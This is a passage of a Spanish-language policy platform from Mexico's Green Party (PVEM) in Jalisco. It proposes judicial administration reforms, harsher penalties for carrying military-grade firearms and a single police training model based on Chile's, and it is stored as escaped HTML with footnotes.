eficaces, en los que ya no exista rezago judicial, la atenci\u00f3n al p\u00fablico sea de calidad, los litigios se resuelvan \u00e1gilmente y que los mismos sean debidamente fundados y motivados, que los recursos que se asignen del presupuesto se destinen h\u00e1bilmente al mejor funcionamiento de los mismos, no exista corrupci\u00f3n, deje de imperar el principio de nepotismo al interior de los mismos, que el Consejo de la Judicatura Estatal se integre de forma imparcial respecto de los otros cargos del Poder Judicial, se garantice el debido proceso en las audiencias y los procesos penales duren m\u00e1ximo un a\u00f1o.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>El tema de impartici\u00f3n de justicia es un tema de relevancia p\u00fablica, es por ello, que se busca mejorar los procesos y m\u00e9todos de organizaci\u00f3n y control de la administraci\u00f3n del Poder Judicial en\u00a0 el Estado con objeto de garantizar la seguridad de los ciudadanos, salvaguardar las garant\u00edas constitucionales de las v\u00edctimas y de todo proceso penal.<\/p>\n<p>A\u00fan con los diversos cambios recientes de reforma constitucionales y legales en el Estado, en materia de justicia penal y seguridad p\u00fablica, que buscaron reemplazar el sistema de juicios tradicionales, caracterizado por depositar la revisi\u00f3n del proceso en un solo juzgado, por un modelo de corte acusatorio oral en el cual se encuentran separadas las funciones de investigaci\u00f3n, acusaci\u00f3n y resoluci\u00f3n del hecho il\u00edcito.<a href=\"#_ftn1\" name=\"_ftnref1\">[1]<\/a> Actualmente la impartici\u00f3n de justicia sigue siendo un problema de seguridad p\u00fablica, debido a la desconfianza de la sociedad hacia las instituciones y al aparato de justicia.<\/p>\n<p>Para ello, se propone establecer sanciones a los funcionarios p\u00fablicos que no cumplan con los t\u00e9rminos legales establecidos en las leyes, con la finalidad de salvaguardar el debido proceso.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>De acuerdo con la Encuesta Nacional de Victimizaci\u00f3n y Percepci\u00f3n sobre Seguridad P\u00fablica, 93.7% del total de delitos ocurridos en el pa\u00eds en 2015 no fueron denunciados o no derivaron en una investigaci\u00f3n por parte de la autoridad; entre los principales motivos que mencionaron las v\u00edctimas para no denunciar fueron la desconfianza en las autoridades y por considerar una p\u00e9rdida de tiempo acudir con el Ministerio P\u00fablico; en Jalisco en el 2014 el 50.9% no fueron denunciados, por las causas anteriores, adem\u00e1s que no se cuenta con la confianza, teniendo un porcentaje de confianza de 43%\u00a0 en el ministerio p\u00fablico\u00a0 y un 46%\u00a0 jueces.<\/p>\n<p>La sociedad, en constante y permanente cambio, enfrenta problemas cada vez m\u00e1s diversos y de r\u00e1pida ocurrencia<a href=\"#_ftn2\" name=\"_ftnref2\">[2]<\/a>. Si bien el desarrollo tecnol\u00f3gico ha permitido una mayor eficiencia en el desempe\u00f1o de las actividades humanas a nivel global<a href=\"#_ftn3\" name=\"_ftnref3\">[3]<\/a>, el acceso a la justicia a\u00fan puede y debe mejorar, as\u00ed como la atenci\u00f3n al p\u00fablico, la calidad en la atenci\u00f3n brindada, el rezago judicial que se experimenta en los tribunales, la tardanza en la soluci\u00f3n de los litigios, la opacidad en la transparencia y rendici\u00f3n de cuentas en el desempe\u00f1o del encargo de los servidores p\u00fablicos.<\/p>\n<p>\u00a0La integraci\u00f3n parcial del Consejo de la Judicatura del Estado de Jalisco y el funcionamiento integral de los tribunales; son problemas que podr\u00e1n ser resueltos con las t\u00e9cnicas de organizaci\u00f3n y control modernas.<\/p>\n<p>Un ejemplo de pa\u00edses que han modificado su marco en materia de sistema de justicia penal son: Argentina, Chile y El Salvador, en los cuales, se ha empleado el principio de divisi\u00f3n del trabajo para modernizar y volver m\u00e1s eficiente el Poder Judicial, mediante el establecimiento de un administrador por tribunal, que organiza y controla la gesti\u00f3n administrativa para que los jueces se aboquen por entero a la impartici\u00f3n de justicia.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS A NIVEL FEDERAL:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reformar la Ley Org\u00e1nica del Poder Judicial De la Federaci\u00f3n, para mejorar el funcionamiento y la impartici\u00f3n de Justicia Con esta reforma se mejorar\u00e1 el funcionamiento de los tribunales, permiti\u00e9ndole a los jueces encargarse enteramente de sus tareas, lo que modernizar\u00e1 el servicio y mejorar\u00e1 su calidad; se agilizar\u00e1n los litigios y se utilizar\u00e1 el recurso p\u00fablico de la forma m\u00e1s eficiente. Adem\u00e1s, se dotar\u00e1 de autonom\u00eda al Consejo de la Judicatura Estatal, pues sus integrantes ser\u00e1n imparciales respecto de otros cargos del Poder Judicial.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para modificar el art\u00edculo 97, p\u00e1rrafo tercero, de la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos para que los Tribunales de Circuito y de los Juzgados de Distrito cuenten con administradores, los cuales nombrar\u00e1n y remover\u00e1n a los respectivos funcionarios y empleados, conforme a lo que establezca la ley respecto de la carrera judicial.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reformar el art\u00edculo 100, p\u00e1rrafo segundo, de la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, para que los integrantes del Consejo de la Judicatura Federal sean imparciales y se limite el principio de nepotismo al dejar la contrataci\u00f3n del personal en manos del personal de contrataci\u00f3n del tribunal, bajo la siguiente propuesta de reforma:<\/li>\n<\/ul>\n<p>El Consejo se integrar\u00e1 por siete miembros de los cuales, cuatro Consejeros ser\u00e1n designados por el Pleno de la Corte, por mayor\u00eda de cuando menos ocho votos, de entre los Magistrados de Circuito y Jueces de Distrito, quienes no podr\u00e1n seguir siendo jueces al aceptar el cargo, para garantizar su imparcialidad respecto de otros cargos del Poder Judicial; dos Consejeros designados por el Senado, y uno por el Presidente de la Rep\u00fablica.<\/p>\n<ul>\n<li>Establecer en el art\u00edculo 211, fracci\u00f3n III, tercer p\u00e1rrafo del C\u00f3digo Nacional de Procedimientos Penales, que el proceso comenzar\u00e1 con la audiencia inicial, y terminar\u00e1 con la sentencia firme; bajo ninguna circunstancia podr\u00e1 durar m\u00e1s de un a\u00f1o contado a partir de la fecha en la cual se admiti\u00f3 el procedimiento.<\/li>\n<\/ul>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS A NIVEL\u00a0 LOCAL:<\/strong><\/p>\n<ul>\n<li>Reformar la Ley Org\u00e1nica del Poder Judicial Del Estado de Jalisco, para mejorar el funcionamiento y la impartici\u00f3n de Justicia Con esta reforma se mejorar\u00e1 el funcionamiento de los tribunales, permiti\u00e9ndole a los jueces encargarse enteramente de sus tareas, lo que modernizar\u00e1 el servicio y mejorar\u00e1 su calidad; se agilizar\u00e1n los litigios y se utilizar\u00e1 el recurso p\u00fablico de la forma m\u00e1s eficiente. Adem\u00e1s, se dotar\u00e1 de autonom\u00eda al Consejo de la Judicatura Estatal, pues sus integrantes ser\u00e1n imparciales respecto de otros cargos del Poder Judicial.<\/li>\n<li>Se propone establecer sanciones a los funcionarios p\u00fablicos que no cumplan con los t\u00e9rminos legales establecidos en las leyes, con la finalidad de salvaguardar el debido proceso.<\/li>\n<li>Reforzar al consejo de la judicatura del estado como un ente administrador del Poder Judicial, para garantizar una plena impartici\u00f3n de justicia por parte de jueces y magistrados.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: M\u00c9XICO SIN ARMAS. <\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Sanciones estrictas por la portaci\u00f3n de armas de fuego.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Se deben endurecer las penas por el delito de portaci\u00f3n il\u00edcita de armas de uso exclusivo del Ej\u00e9rcito, Armada y Fuerza A\u00e9rea Nacionales, derivado de su potencial, en virtud de ello el Partido Verde Ecologista de M\u00e9xico propone reformar el art\u00edculo 19 de la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, el art\u00edculo 167 del C\u00f3digo Nacional de Procedimientos Penales, adicionar al art\u00edculo 82 a la Ley Federal de Armas de Fuego y Explosivos y modificar los art\u00edculos 81 y 83 de la misma Ley, ello con la finalidad de proteger a la colectividad de la inseguridad y de los abusos de quienes usan armas con el il\u00edcito prop\u00f3sito de atentar contra la vida o el patrimonio de las personas.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Las armas est\u00e1n intr\u00ednsecamente ligadas a los delitos, en particular el robo y el homicidio, en este rubro las armas de fuego son las que m\u00e1s se usan, dado su alto nivel de letalidad y dan cuenta de 4 de cada 10 homicidios a nivel global<a href=\"#_ftn4\" name=\"_ftnref4\"><sup>[4]<\/sup><\/a>.<\/p>\n<p>Asimismo, el mercado negro ha aumentado el flujo de armas en M\u00e9xico, por ello se ha incrementado la posibilidad de morir incluso en hechos delictivos cuyo prop\u00f3sito no era en principio privar de la vida a una persona, como las ri\u00f1as y robos.<a href=\"#_ftn5\" name=\"_ftnref5\"><sup>[5]<\/sup><\/a><\/p>\n<p>El Instituto Nacional de Estad\u00edstica y Geograf\u00eda (INEGI) public\u00f3 en 2016, que de los 23,953 homicidios ocurridos en ese a\u00f1o, 15,581(65%) fueron perpetrados con un arma de fuego<a href=\"#_ftn6\" name=\"_ftnref6\"><sup>[6]<\/sup><\/a>.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE A NIVEL FEDERAL SE REFORME LAS SIGUIENTES DISPOSCIONES:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para el art\u00edculo 19 de la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, para establecer la prisi\u00f3n preventiva oficiosa al delito de portaci\u00f3n de armas de fuego para el uso exclusivo del Ej\u00e9rcito, Armada y Fuerza A\u00e9rea.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para el art\u00edculo 167 del C\u00f3digo Nacional de Procedimientos Penales, a efecto de que el delito de portaci\u00f3n il\u00edcita de armas de fuego para el uso exclusivo del Ej\u00e9rcito, Armada y Fuerza A\u00e9rea amerite prisi\u00f3n preventiva oficiosa, con la finalidad de contribuir a la seguridad p\u00fablica de los estados de la Rep\u00fablica.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para adicionar un art\u00edculo 82 Bis a la Ley Federal de Armas de Fuego, con el objetivo de que el delito de portaci\u00f3n de armas de uso exclusivo del Ej\u00e9rcito, Armada y Fuerza A\u00e9rea amerite prisi\u00f3n preventiva oficiosa.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para los art\u00edculos 81 y 83 de la Ley Federal de Armas de Fuego y Explosivos, con la finalidad de aumentar la pena m\u00ednima a 5 a\u00f1os de prisi\u00f3n para el delito de portaci\u00f3n il\u00edcita de armas de fuego previstos en los art\u00edculos 9, 10 y 11 de la citada Ley. Sin duda, este refuerzo a la regulaci\u00f3n constituir\u00e1 un incentivo mayor para no portar armas de fuego sin el permiso correspondiente.<\/li>\n<\/ul>\n<p>De acuerdo a que este tema es de propiamente Federal\u00a0 se realizara lo acuerdos se\u00f1alados en concordancia a las propuestas Federales, todo ello para dar apoyo y reforzar la seguridad de los Jaliscienses y como miembros del Partido Verde Ecologista de M\u00e9xico, en el Estado consideramos que los ciudadanos ver\u00e1n favorable y necesario las propuestas para nuestra seguridad.<\/p>\n<p><strong>T\u00cdTULO: MODELO \u00daNICO DE POLIC\u00cdA<\/strong><\/p>\n<p><strong>VISI\u00d3N:<\/strong> Un M\u00e9xico y un Jalisco m\u00e1s seguro, sin impunidad, en el que la poblaci\u00f3n pueda confiar en la polic\u00eda, por su efectividad en la prevenci\u00f3n de los delitos.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>En M\u00e9xico y en nuestro Estado\u00a0 enfrenta un grave problema de inseguridad que no ha podido resolverse con la actual heterogeneidad de cuerpos policiacos. Por ello, se proponen distintas reformas a la Constituci\u00f3n y a las leyes correspondientes para crear un modelo \u00fanico de formaci\u00f3n policial, a efecto de que todas las corporaciones del pa\u00eds sigan el mismo c\u00famulo de requisitos para la formaci\u00f3n y profesionalizaci\u00f3n de sus elementos, con los m\u00e1ximos est\u00e1ndares de control de confianza y capacitaci\u00f3n; de esta forma la polic\u00eda ser\u00e1 efectiva y el ej\u00e9rcito podr\u00e1 volver a sus funciones ordinarias. La operaci\u00f3n de modelos \u00fanicos de formaci\u00f3n policial ya ha funcionado en pa\u00edses como Chile; que encabez\u00f3 los \u00edndices de confianza ciudadana en la polic\u00eda nacional en 2011<a href=\"#_ftn7\" name=\"_ftnref7\"><sup>[7]<\/sup><\/a>, fue segundo lugar en menos corrupci\u00f3n en 2016<a href=\"#_ftn8\" name=\"_ftnref8\"><sup>[8]<\/sup><\/a>de Am\u00e9rica Latina y est\u00e1 veinticuatro lugares delante de M\u00e9xico en el \u00cdndice Global de Impunidad del 2016<a href=\"#_ftn9\" name=\"_ftnref9\"><sup>[9]<\/sup><\/a>.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>M\u00e9xico es el cuarto pa\u00eds con m\u00e1s impunidad en el mundo<a href=\"#_ftn10\" name=\"_ftnref10\"><sup>[10]<\/sup><\/a>, el sexto con m\u00e1s corrupci\u00f3n en Am\u00e9rica Latina<a href=\"#_ftn11\" name=\"_ftnref11\"><sup>[11]<\/sup><\/a> y el noveno en el que los ciudadanos menos confianza le tienen a los cuerpos policiales<a href=\"#_ftn12\" name=\"_ftnref12\"><sup>[12]<\/sup><\/a>. Esta situaci\u00f3n refleja las dificultades que genera la existencia de modelos dispares de preparaci\u00f3n y requisitos para las polic\u00edas en los tres niveles: Federal, Estatal y Municipal. Algunas de esas dificultades son: la falta de coordinaci\u00f3n entre mandos, la desconfianza entre los distintos cuerpos policiacos; y, la deficiencia en adoptar un mismo modelo de selecci\u00f3n y capacitaci\u00f3n. El incorrecto funcionamiento de la polic\u00eda en tres niveles ha causado que el ej\u00e9rcito se encargue de lo que no le corresponde para suplir sus deficiencias.<\/p>\n<p>En contraste con M\u00e9xico, Chile figura entre los pa\u00edses con menor corrupci\u00f3n e impunidad; y mayor confianza de la ciudadan\u00eda en su polic\u00eda. Los logros de Chile en materia de seguridad se deben a sus pol\u00edticas de prevenci\u00f3n y persecuci\u00f3n de los delitos, que operan a trav\u00e9s de una polic\u00eda con jurisdicci\u00f3n nacional altamente preparada con un mejor sueldo que la polic\u00eda en M\u00e9xico<a href=\"#_ftn13\" name=\"_ftnref13\"><sup>[13]<\/sup><\/a>.<\/p>\n<p>En Chile la polic\u00eda se unific\u00f3 en un cuerpo nacional llamado los Carabineros en el a\u00f1o 1927. Antes de eso, en 1881, hab\u00eda dos polic\u00edas municipales en las ciudades de Santiago y Valpara\u00edso, y una polic\u00eda rural para las zonas rurales.<a href=\"#_ftn14\" name=\"_ftnref14\"><sup>[14]<\/sup><\/a> \u201cEl principal problema de estos servicios policiales era su dependencia en las decisiones del alcalde que la usaba para sus fines pol\u00edticos&#8221;.<a href=\"#_ftn15\" name=\"_ftnref15\"><sup>[15]<\/sup><\/a>En este sentido, aunque no existen estad\u00edsticas de la impunidad y corrupci\u00f3n de aquellos a\u00f1os, el funcionamiento de las polic\u00edas que respond\u00eda a la arbitrariedad del alcalde, y del cual s\u00ed se tiene documentaci\u00f3n; demuestra un progreso en comparaci\u00f3n con los alentadores resultados que ahora consigue la Polic\u00eda Chilena, que est\u00e1 en las mejores posiciones de confianza ciudadana en Am\u00e9rica Latina.<\/p>\n<p>Un oficial de Carabineros gana un sueldo bruto de $17,664.60<a href=\"#_ftn16\" name=\"_ftnref16\"><sup>[16]<\/sup><\/a>, y para que una persona pueda ocupar este puesto de trabajo requiere acreditar haber cursado satisfactoriamente un plan de estudios que abarca las \u00e1reas: institucional, profesional, jur\u00eddica, de formaci\u00f3n general, profesional aplicada y educaci\u00f3n f\u00edsica; adem\u00e1s que se les incorpora el ingl\u00e9s como segunda lengua. Una vez terminada su capacitaci\u00f3n b\u00e1sica se les sigue instruyendo a opci\u00f3n en cursos de especializaci\u00f3n, ingenier\u00edas y postgrados<a href=\"#_ftn17\" name=\"_ftnref17\"><sup>[17]<\/sup><\/a>, con ello se demuestra que la unificaci\u00f3n de salarios y modelos de preparaci\u00f3n dan mejores resultados. En Jalisco los oficiales de polic\u00eda estatal y municipal en muchas ocasiones solo cuentan con estudios de secundaria o preparatoria y sus salarios var\u00edan seg\u00fan el municipio a en la que ejercen sus funciones, siendo el m\u00ednimo de un polic\u00eda municipal $2,983.00 pesos brutos.<a href=\"#_ftn18\" name=\"_ftnref18\">[18]<\/a><\/p>\n<p><strong>Polic\u00eda bien remunerada:<\/strong><\/p>\n<p>Seg\u00fan datos de la SEGOB <a href=\"#_ftn19\" name=\"_ftnref19\"><sup>[19]<\/sup><\/a>, la PGR <a href=\"#_ftn20\" name=\"_ftnref20\"><sup>[20]<\/sup><\/a>y la p\u00e1gina de transparencia de los Carabineros de Chile <a href=\"#_ftn21\" name=\"_ftnref21\"><sup>[21]<\/sup><\/a>se elabor\u00f3 la siguiente tabla comparativa de los salarios brutos en pesos mexicanos de las polic\u00edas en M\u00e9xico y los Carabineros en Chile:<\/p>\n<p>En Jalisco var\u00edan los salariaos de la polic\u00eda Estatal y aun mas entre los Municipios, ya que un polic\u00eda del estado su salario es de $7,163 y de un polic\u00eda investigador B su salario es de $17,012, asimismo existe en el estado la polic\u00eda de la fuerza \u00danica el cual su salario es de $22,400. En cuanto a los municipal el ayuntamiento peor pagado es Atengo con $2,983, en cambio el Municipio de Zapopan $17,012 que corresponde al mejor pagado en nuestro Estado,<\/p>\n<table width=\"618\">\n<tbody>\n<tr>\n<td width=\"135\">\n<p><em>Cuerpo policiaco<\/em><\/p>\n<\/td>\n<td width=\"104\">\n<p><strong>Carabineros<\/strong><\/p>\n<\/td>\n<td width=\"94\">\n<p><strong>Polic\u00eda<\/strong><\/p>\n<p><strong>Federal<\/strong><\/p>\n<\/td>\n<td width=\"80\">\n<p><strong>Polic\u00eda<\/strong><\/p>\n<p><strong>Estatal<\/strong><\/p>\n<\/td>\n<td width=\"15\">\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"95\">\n<p><strong>Polic\u00eda<\/strong><\/p>\n<p><strong>Municipal<\/strong><\/p>\n<\/td>\n<td width=\"95\">\n<p><strong>Polic\u00eda<\/strong><\/p>\n<p><strong>\u00danica Metropolitana<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"135\">\n<p><em>Sueldo bruto mexicanos<\/em><\/p>\n<\/td>\n<td width=\"104\">\n<p>$17,664.60<\/p>\n<\/td>\n<td width=\"94\">\n<p>$29,965.79<\/p>\n<\/td>\n<td width=\"80\">\n<p>Entre<\/p>\n<p>$7,163<\/p>\n<p>$17,012<\/p>\n<\/td>\n<td width=\"15\">\n<p>a<\/p>\n<\/td>\n<td width=\"95\">\n<p>Entre<\/p>\n<p>$2,983 a<\/p>\n<p>$17,012<\/p>\n<\/td>\n<td width=\"95\">\n<p>$22,400<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Como se observa la diferencia de salarios tanto en polic\u00edas Estatales como Municipales es abrumadora. Los bajos sueldos que pueden percibir polic\u00edas Estatales y Municipales son un incentivo para que participen de la corrupci\u00f3n y colaboren en el crimen organizado. Si en Chile los \u00edndices de corrupci\u00f3n y confianza en la polic\u00eda se han mantenido positivos es recomendable seguir este ejemplo para evitar que el salario sea un incentivo para corromperse.<\/p>\n<p><strong>Polic\u00eda altamente capacitada<\/strong><\/p>\n<p>Se propone seguir el ejemplo chileno y que los elementos de las corporaciones policiacas del pa\u00eds acrediten satisfactoriamente un plan de estudios que abarque las \u00e1reas: institucional, profesional, jur\u00eddica, de formaci\u00f3n general, profesional aplicada y educaci\u00f3n f\u00edsica. As\u00ed, la polic\u00eda estar\u00e1 debidamente instruida para desarrollar las actividades propias de su cargo.<\/p>\n<p><strong>Las reformas no impactar\u00e1n a las autoridades administrativas de los centros penitenciarios.<\/strong><\/p>\n<p>Un informe de Salvador Moreno, para el CESOP de la C\u00e1mara de Diputados, menciona que en M\u00e9xico hay 17 penitenciar\u00edas federales, 278 estatales y 17 locales<a href=\"#_ftn22\" name=\"_ftnref22\"><sup>[22]<\/sup><\/a>, la pregunta pertinente al respecto es si surtir\u00eda alg\u00fan cambio la administraci\u00f3n de estas prisiones con la creaci\u00f3n del C\u00f3digo Penal Nacional y de un modelo \u00fanico de formaci\u00f3n policial. Al respecto, debemos se\u00f1alar que el art\u00edculo 124 constitucional establece que todas las facultades que no le son asignadas expresamente a la Federaci\u00f3n en el texto fundamental se entienden reservadas a los Estados. El art\u00edculo 73 constitucional enumera las facultades expresas de la federaci\u00f3n y en virtud de que s\u00f3lo se reforma la relativa a expedir las leyes en materia penal, no se alterar\u00eda el \u00e1mbito competencial de estados ni municipios en cuanto a los reclusorios. Concluimos entonces que las autoridades administrativas de las c\u00e1rceles Federales, Estatales y locales no se ver\u00edan impactados por tal reforma.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE A NIVEL FEDERAL SE REALICE LO SIGUIENTE:<\/strong><\/p>\n<ul>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reformar el art\u00edculo 21 de la Ley General del Sistema Nacional de Seguridad P\u00fablica, para alinear su contenido con la existencia de un modelo \u00fanico de formaci\u00f3n policial.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reformar el art\u00edculo 21 constitucional para que en las bases m\u00ednimas para cumplir los objetivos de la seguridad p\u00fablica, exista un modelo \u00fanico de formaci\u00f3n y capacitaci\u00f3n, con los mismos requisitos para todas aquellas personas que quieran ser polic\u00edas en municipios, Estados y a nivel federal, y con una mejor remuneraci\u00f3n.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reformar el art\u00edculo 115 constitucional para alinear las responsabilidades de los gobiernos locales con la implementaci\u00f3n de un modelo \u00fanico de formaci\u00f3n y capacitaci\u00f3n policial, para todas las corporaciones del pa\u00eds.<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para modificar la Ley de la Polic\u00eda Federal, para establecer el modelo \u00fanico de formaci\u00f3n y capacitaci\u00f3n policial, para todas las corporaciones del pa\u00eds.<\/li>\n<\/ul>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE A NIVEL LOCAL SE REALICE LO SIGUIENTE:<\/strong><\/p>\n<p>Como parte del sistema de seguridad publica los miembros del partido verde ecologista de M\u00e9xico a nivel local estimamos loable y\u00a0 necesario el que todos los elementos seguridad p\u00fablica\u00a0 se dirijan a la poblaci\u00f3n\u00a0 Jalisciense de manera digna. si bien es\u00a0 cierto la Secretar\u00eda T\u00e9cnica del Consejo de Coordinaci\u00f3n para la Implementaci\u00f3n del Sistema de Justicia Penal (SETEC) brinda capacitaciones sobre la formaci\u00f3n b\u00e1sica indispensable para ser polic\u00eda, as\u00ed como aquella espec\u00edfica para desempe\u00f1ar adecuadamente las funciones y responsabilidades. No podemos dejar de lado la participaci\u00f3n del ejecutivo, por lo que adem\u00e1s ser\u00e1 necesario para poder laborar en cualquier dependencia de seguridad publica ya sea municipal o estatal, buscar y garantizar un sistema de seguridad p\u00fablica que pueda brindar el trato correcto a la poblaci\u00f3n basada en los derechos humanos.\u00a0 Por lo que nuestra propuesta a nivel estatal en materia de seguridad es:<\/p>\n<ul>\n<li>Reformar la Ley de Seguridad P\u00fablica y reglamentos en la materia para establecer la obligatoriedad de la implementaci\u00f3n de formaci\u00f3n especializada para los elementos de seguridad, cursos que deber\u00e1n de tener un enfoque en derechos humanos, garant\u00edas constitucionales y conocimiento del marco jur\u00eddico que les permita realizar sus funciones de manera correcta y legal.<\/li>\n<li>Reformar las legislaciones legales aplicables con la finalidad que los reclutados de las \u00e1reas de reacci\u00f3n, cuenten m\u00ednimo con el bachillerato terminado.<\/li>\n<\/ul>\n<p><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> INEGI.\u00a0 Estad\u00edsticas judiciales en el marco del nuevo sistema de justicia penal en M\u00e9xico. 2017<\/p>\n<p><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> Luz Mar\u00eda Palma, <em>Modernizaci\u00f3n judicial, gesti\u00f3n y administraci\u00f3n en Am\u00e9rica Latina, <\/em>Acta Sociol\u00f3gica n\u00fam. 72, enero-abril de 2017, p. 152.<\/p>\n<p><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a><em>\u00cddem.<\/em><\/p>\n<p><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a> Estudio Mundial sobre el Homicidio. Oficina de las Naciones Unidas contra la Droga y el Delito. 2013<\/p>\n<p><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a>Gonz\u00e1lez, Guillermo. El incremento de la mortalidad por armas de fuego y su relaci\u00f3n con el estancamiento de la esperanza de vida en M\u00e9xico. Ci\u00eancia &amp; Sa\u00fade Colectiva. Brasil. 2016<\/p>\n<p><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a>. Datos Preliminares revelan que en 2016 se registraron 23 mil 953 homicidios. Comunicado de prensa n\u00fam. 298\/17. INEGI. 2017<\/p>\n<p><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> Dar\u00edo Mizrahi, <em>Los 10 pa\u00edses de Am\u00e9rica en los que la polic\u00eda responde m\u00e1s r\u00e1pido a las emergencias, infobae<\/em>,2015. Consultado en http:\/\/www.infobae.com\/2015\/03\/13\/1715701los10paisesamericalosquelapoliciarespondemasrapidolasemergencias, el 30 de septiembre de 2017. [Se omiten las referencias internas]<\/p>\n<p><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a> Seg\u00fan un an\u00e1lisis detallado de los datos de Transparency International, Corruption preceptions index 2016.<\/p>\n<p>Consultado en https:\/\/www.transparency.org\/news\/feature\/corruption_perceptions_index_2016, el 30 de septiembre de 2017.<\/p>\n<p><a href=\"#_ftnref9\" name=\"_ftn9\">[9]<\/a> \u00cdndice Global de Impunidad, <em>Dimensiones de la impunidad global<\/em>, UDLAP, M\u00e9xico, 2017, p 34.<\/p>\n<p><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a> Idem.<\/p>\n<p><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a> Transparency International, op. cit<\/p>\n<p><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a> Dar\u00edo Mizrahi, op. cit.<\/p>\n<p><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a> Juan Carlos, Ruiz, <em>Colombian police policy: p\u00f3lice and urban policing,<\/em> 1991-2006, Doctoral thesis in politics, University of Oxford, 2009.<\/p>\n<p><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a> Am\u00e9rica S.A., <em>Aniversario Carabineros de Chile, 89 a\u00f1os al servicios del pa\u00eds<\/em>, 2016.<\/p>\n<p><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a> Idem.<\/p>\n<p><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a> Seg\u00fan la conversi\u00f3n a pesos mexicanos del salario de los Carabineros en Chile, consultado en http:\/\/www.carabineros.cl\/transparencia\/sueldo\/pni.html<u>,<\/u>el 25 de octubre del 2017.<\/p>\n<p><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a> Escuela de Carabineros de Chile, <em>Formaci\u00f3n del oficial de carabineros, s.f.<\/em> Consultado en: http:\/\/www.escuelacarabineros.cl\/index.php\/pagina\/id\/1, el 24 de octubre del 2017.<\/p>\n<p><a href=\"#_ftnref18\" name=\"_ftn18\">[18]<\/a>http:\/\/www.secretariadoejecutivo.gob.mx\/docs\/pdfs\/transparencia\/Resultados_diagnostico_sueldos_prestaciones%20Policiales_SESNSP.pdf<\/p>\n<p><a href=\"#_ftnref19\" name=\"_ftn19\">[19]<\/a> SEGOB, <em>Resultados del diagn\u00f3stico de salarios y prestaciones de polic\u00edas estatales y municipales del pa\u00eds<\/em>, Mayo 2016, pp. 14, 19, 22 y 26.<\/p>\n<p><a href=\"#_ftnref20\" name=\"_ftn20\">[20]<\/a> Seg\u00fan la suma del sueldo base bruto y la compensaci\u00f3n por riesgo y mercado bruta mensual. Consultado en: http:\/\/www.pgr.gob.mx\/administracionrecursos\/Documents\/PERSONAL\/TABULADORES.pdf<u>,<\/u> el 25 de octubre de 2017.<\/p>\n<p><a href=\"#_ftnref21\" name=\"_ftn21\">[21]<\/a> Seg\u00fan la conversi\u00f3n a pesos mexicanos del salario de los Carabineros en Chile, consultado en http:\/\/www.carabineros.cl\/transparencia\/sueldo\/pni.html<u>,<\/u> el 25 de octubre del 2017.<\/p>\n<p><a href=\"#_ftnref22\" name=\"_ftn22\">[22]<\/a> Salvador Moreno, Los centros penitenciarios en M\u00e9xico. \u00bfCentros de rehabilitaci\u00f3n o escuelas del crimen?, Centro de estudios sociales y de opini\u00f3n p\u00fablica, C\u00e1mara de Diputados LXIII legislatura, 2017.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIV.\tEconom\u00eda\t\t\t\t\t<\/p>\n<p><strong>T\u00cdTULO: INGRESO DIGNO<a href=\"#_ftn1\" name=\"_ftnref1\"><sup>[1]<\/sup><\/a><\/strong><\/p>\n<p><strong>VISI\u00d3N:<\/strong> El trabajo est\u00e1 dejando de funcionar como medio para la 